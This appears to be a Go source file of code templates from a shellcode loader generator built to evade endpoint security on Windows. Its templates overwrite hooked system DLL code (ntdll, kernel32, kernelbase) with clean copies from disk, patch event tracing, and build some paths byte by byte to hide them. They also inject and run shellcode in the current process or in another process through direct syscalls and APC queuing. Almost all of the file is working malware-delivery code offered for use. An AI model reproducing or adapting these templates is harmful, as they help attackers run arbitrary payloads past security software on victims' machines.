{{.Variables.modules}} = {{.Variables.modules}}[:{{.Variables.n}}]
}
{{.Variables.RemoteReloading}}
{{.Variables.ModuleMessage}}
var {{.Variables.buf}} = make([]uint16, 255)
for _, {{.Variables.mod}} := range {{.Variables.modules}} {
{{.Variables.MI}}, _ := {{.Variables.GetModuleInformation}}({{.Variables.hh}}, {{.Variables.mod}})
{{.Variables.n}}, {{.Variables.err}} := {{.Variables.GetModuleBaseName}}({{.Variables.hh}}, {{.Variables.mod}}, &{{.Variables.buf}}[0], uint32(len({{.Variables.buf}})))
if {{.Variables.err}} != nil {
}
{{.Variables.s}} := windows.UTF16ToString({{.Variables.buf}}[:{{.Variables.n}}])
if {{.Variables.s}} == "ntdll.dll" {
{{.Variables.RemoteModuleEnumeration}}
{{.Variables.RemoteModuleReloading}}("C:\\Windows\\System32\\ntdll.dll", {{.Variables.MI}}.LpBaseOfDll, {{.Variables.hh}})
{{.Variables.RemoteModuleMessage}}
}
if {{.Variables.s}} == "KERNEL32.DLL" {
{{.Variables.RemoteModuleEnumeration}}
{{.Variables.RemoteModuleReloading}}("C:\\Windows\\System32\\kernel32.dll", {{.Variables.MI}}.LpBaseOfDll, {{.Variables.hh}})
{{.Variables.RemoteModuleMessage}}
}
if {{.Variables.s}} == "KERNELBASE.dll" {
{{.Variables.RemoteModuleEnumeration}}
{{.Variables.RemoteModuleReloading}}("C:\\Windows\\System32\\kernelbase.dll", {{.Variables.MI}}.LpBaseOfDll, {{.Variables.hh}})
{{.Variables.RemoteModuleMessage}}
}
}
{{.Variables.RemoteETW}}({{.Variables.hh}})
{{.Variables.Injecting}}
{{.Variables.shellcode}} := {{.Variables.raw_bin}}
{{.Variables.oldProtect}} := windows.PAGE_READWRITE
var {{.Variables.lpBaseAddress}} uintptr
{{.Variables.size}} := len({{.Variables.shellcode}})
{{.Variables.funcNtAllocateVirtualMemory}}.Call(uintptr({{.Variables.pi}}.Process), uintptr(unsafe.Pointer(&{{.Variables.lpBaseAddress}})), 0, uintptr(unsafe.Pointer(&{{.Variables.size}})), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
{{.Variables.funcNtWriteVirtualMemory}}.Call(uintptr({{.Variables.pi}}.Process), {{.Variables.lpBaseAddress}}, uintptr(unsafe.Pointer(&{{.Variables.shellcode}}[0])), uintptr({{.Variables.size}}), 0)
{{.Variables.funcNtProtectVirtualMemory}}.Call(uintptr({{.Variables.pi}}.Process), uintptr(unsafe.Pointer(&{{.Variables.lpBaseAddress}})), uintptr(unsafe.Pointer(&{{.Variables.size}})), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&{{.Variables.oldProtect}})))
{{.Variables.funcNtCreateThreadEx}}.Call(uintptr(unsafe.Pointer(&{{.Variables.pi}}.Thread)), windows.GENERIC_EXECUTE, 0, uintptr({{.Variables.pi}}.Process), {{.Variables.lpBaseAddress}}, {{.Variables.lpBaseAddress}}, 0, 0, 0, 0, 0)
syscall.CloseHandle({{.Variables.pi}}.Thread)
{{.Variables.Injected}}
}
func {{.Variables.RemoteModuleReloading}}({{.Variables.name}} string, {{.Variables.addr}} uintptr, {{.Variables.handle}} windows.Handle) error {
{{.Variables.dll}}, {{.Variables.error}} := ioutil.ReadFile({{.Variables.name}})
if {{.Variables.error}} != nil {
return {{.Variables.error}}
}
{{.Variables.file}}, {{.Variables.error}} := pe.Open({{.Variables.name}})
if {{.Variables.error}} != nil {
return {{.Variables.error}}
}
{{.Variables.x}} := {{.Variables.file}}.Section(".text")
{{.Variables.bytes}} := {{.Variables.dll}}[{{.Variables.x}}.Offset:{{.Variables.x}}.Size]
{{.Variables.dllBase}} := {{.Variables.addr}}
{{.Variables.dllOffset}} := uint({{.Variables.dllBase}}) + uint({{.Variables.x}}.VirtualAddress)
{{.Variables.rawbytes}} := fmt.Sprintf("%X", {{.Variables.bytes}})
{{.Variables.data}}, _ := hex.DecodeString(string({{.Variables.rawbytes}}))
{{.Variables.regionsize}} := len({{.Variables.bytes}})
{{.Variables.offsetaddr}} := uintptr({{.Variables.dllOffset}})
var {{.Variables.nLength}} uintptr
{{.Variables.WriteProcessMemory}}(uintptr({{.Variables.handle}}), {{.Variables.offsetaddr}}, &{{.Variables.data}}[0], uintptr(uint32({{.Variables.regionsize}})), &{{.Variables.nLength}})
return nil
}
`
}
func Syscall_Alloc() string {
return `
func {{.Variables.FunctionName}}({{.Variables.raw_bin}} []byte){
var {{.Variables.phandle}} uint64
var {{.Variables.baseA}}, {{.Variables.zerob}}, {{.Variables.alloctype}}, {{.Variables.protect}} uintptr
{{.Variables.phandle}} = 0xffffffffffffffff
{{.Variables.regionsizep}} := len({{.Variables.raw_bin}})
{{.Variables.regionsize}} := uintptr({{.Variables.regionsizep}})
{{.Variables.protect}} = 0x40
{{.Variables.alloctype}} = 0x3000
{{.Variables.AllocatingMessage}}
{{.Variables.ptr}} := [loader].[Allocate]({{.Variables.customsyscall}}, {{.Variables.phandle}}, {{.Variables.baseA}}, {{.Variables.zerob}}, {{.Variables.regionsize}}, {{.Variables.alloctype}}, {{.Variables.protect}}, 0)
{{.Variables.buff}} := (*[1890000]byte)(unsafe.Pointer({{.Variables.ptr}}))
for x, y := range []byte({{.Variables.raw_bin}}) {
{{.Variables.buff}} [x] = y
}
{{.Variables.SyscallMessage}}
syscall.Syscall({{.Variables.ptr}}, 0, 0, 0, 0,)
}
`
}
func Syscall_RtlCopy() string {
return `
func {{.Variables.FunctionName}}({{.Variables.raw_bin}} []byte){
{{.Variables.ntdll}} := windows.NewLazySystemDLL("ntdll.dll")
{{.Variables.kernel32}} := windows.NewLazySystemDLL("kernel32")
{{.Variables.RtlCopyMemory}} := {{.Variables.ntdll}}.NewProc("RtlCopyMemory")
{{.Variables.VirtualAlloc}} := {{.Variables.kernel32}}.NewProc("VirtualAlloc")
var {{.Variables.alloctype}}, {{.Variables.protect}} uintptr
var {{.Variables.oldptrperms}} uintptr
{{.Variables.handle}} := uintptr(0xffffffffffffffff)
{{.Variables.regionsize}} := uintptr(len({{.Variables.raw_bin}}))
{{.Variables.protect}} = 0x40
{{.Variables.alloctype}} = 0x3000
{{.Variables.ptr}}, _, _ := {{.Variables.VirtualAlloc}}.Call(0, uintptr(len({{.Variables.raw_bin}})), {{.Variables.alloctype}}, {{.Variables.protect}})
{{.Variables.RtlCopyMemoryMessage}}
{{.Variables.RtlCopyMemory}}.Call({{.Variables.ptr}}, (uintptr)(unsafe.Pointer(&{{.Variables.raw_bin}}[0])), uintptr(len({{.Variables.raw_bin}})))
{{.Variables.VirtualProtectMessage}}
[loader].[NtProtectVirtualMemoryprep](
{{.Variables.customsyscallVP}},
{{.Variables.handle}},
(*uintptr)(unsafe.Pointer(&{{.Variables.ptr}})),
&{{.Variables.regionsize}},
0x20,
&{{.Variables.oldptrperms}},
)
{{.Variables.SyscallMessage}}
syscall.Syscall({{.Variables.ptr}}, 0, 0, 0, 0)
}
`
}
func Syscall_NtQueueAPCThreadEx_Local() string {
return `
const (
QUEUE_USER_APC_FLAGS_NONE = iota
QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC
QUEUE_USER_APC_FLGAS_MAX_VALUE
)
func {{.Variables.FunctionName}}({{.Variables.raw_bin}} []byte){
{{.Variables.kernel32}} := windows.NewLazySystemDLL("kernel32.dll")
{{.Variables.ntdll}} := windows.NewLazySystemDLL("ntdll.dll")
{{.Variables.RtlCopyMemory}} := {{.Variables.ntdll}}.NewProc("RtlCopyMemory")
{{.Variables.NtQueueApcThreadEx}} := {{.Variables.ntdll}}.NewProc("NtQueueApcThreadEx")
{{.Variables.GetCurrentThread}} := {{.Variables.kernel32}}.NewProc("GetCurrentThread")
var {{.Variables.baseA}}, {{.Variables.zerob}}, {{.Variables.alloctype}}, {{.Variables.protect}} uintptr
var {{.Variables.phandle}} uint64
var {{.Variables.oldptrperms}} uintptr
{{.Variables.handle}} := uintptr(0xffffffffffffffff)
{{.Variables.phandle}} = 0xffffffffffffffff
{{.Variables.regionsize}} := uintptr(len({{.Variables.raw_bin}}))
{{.Variables.protect}} = 0x40
{{.Variables.alloctype}} = 0x3000
{{.Variables.AllocatingMessage}}
{{.Variables.ptr}} := [loader].[Allocate]({{.Variables.customsyscall}}, {{.Variables.phandle}}, {{.Variables.baseA}}, {{.Variables.zerob}}, uintptr({{.Variables.regionsize}}), {{.Variables.alloctype}}, {{.Variables.protect}}, 0)
{{.Variables.RtlCopyMemoryMessage}}
{{.Variables.RtlCopyMemory}}.Call({{.Variables.ptr}}, (uintptr)(unsafe.Pointer(&{{.Variables.raw_bin}}[0])), uintptr(len({{.Variables.raw_bin}})))
{{.Variables.VirtualProtectMessage}}
[loader].[NtProtectVirtualMemoryprep](
{{.Variables.customsyscallVP}},
{{.Variables.handle}},
(*uintptr)(unsafe.Pointer(&{{.Variables.ptr}})),
&{{.Variables.regionsize}},
0x20,
&{{.Variables.oldptrperms}},
)
{{.Variables.GetCurrentThreadMessage}}
{{.Variables.thread}}, _, _ := {{.Variables.GetCurrentThread}}.Call()
{{.Variables.NtQueueApcThreadExMessage}}
{{.Variables.NtQueueApcThreadEx}}.Call({{.Variables.thread}}, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, uintptr({{.Variables.ptr}}), 0, 0, 0)
}
`
}
func Disk_Refresh() string {
return `
func {{.Variables.Reloading}} error {
{{.Variables.DLLname}} := []string{string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'}),
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'k', 'e', 'r', 'n', 'e', 'l', 'b', 'a', 's', 'e', '.', 'd', 'l', 'l'}),
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'a', 'd', 'v', 'a', 'p', 'i', '3', '2', '.', 'd', 'l', 'l'}),
string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l'})}
for i, _ := range {{.Variables.DLLname}} {
{{.Variables.ReloadingMessage}}
{{.Variables.dll}}, {{.Variables.error}} := ioutil.ReadFile({{.Variables.DLLname}}[i])
if {{.Variables.error}} != nil {
return {{.Variables.error}}
}
{{.Variables.file}}, {{.Variables.error}} := pe.Open({{.Variables.DLLname}}[i])
if {{.Variables.error}} != nil {
return {{.Variables.error}}
}
{{.Variables.x}} := {{.Variables.file}}.Section(string([]byte{'.', 't', 'e', 'x', 't'}))
{{.Variables.bytes}} := {{.Variables.dll}}[{{.Variables.x}}.Offset:{{.Variables.x}}.Size]
{{.Variables.loaddll}}, {{.Variables.error}} := windows.LoadDLL({{.Variables.DLLname}}[i])
if {{.Variables.error}} != nil {
return {{.Variables.error}}
}